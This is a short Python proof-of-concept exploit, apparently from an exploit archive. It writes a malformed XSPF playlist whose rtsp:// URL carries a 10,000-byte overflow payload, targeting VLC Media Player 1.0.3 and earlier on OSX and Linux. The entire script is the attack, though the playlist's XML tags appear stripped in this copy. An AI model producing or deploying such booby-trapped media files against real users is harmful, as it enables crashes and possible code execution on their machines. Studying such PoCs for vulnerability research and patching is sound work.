#!/usr/bin/env python ########################################################################### # # VLC Media Player <= 1.0.3 RTSP Buffer Overflow PoC (OSX/Linux) # Found By: Dr_IDE # Tested On: OSX 10.6.2 (v1.0.3) # Tested On: Ubuntu 9 [2.6.28-15-generic] (v0.9.9a) # Tested On: No Go on Windows # ########################################################################### header1 = ("\n") header1 += ("\n") header1 += ("\tPlaylist\n") header1 += ("\t\n") header1 += ("\t\t\n") header1 += ("\t\t\trtsp://localhost@localhost/foo/#{") payload = ("\x41" * 2 + "\x42" * 4 + "\x43" * 10000) header2 = ("}\n"); header2 += ("\t\t\t\n"); header2 += ("\t\t\t\t0\n"); header2 += ("\t\t\t\n"); header2 += ("\t\t\n"); header2 += ("\t\n"); header2 += ("\n"); try: f1 = open("vlc_1.0.X.xspf","w") f1.write(header1 + payload + header2) f1.close() print("\nExploit file created!\n") except: print "Error" #[pocoftheday.blogspot.com]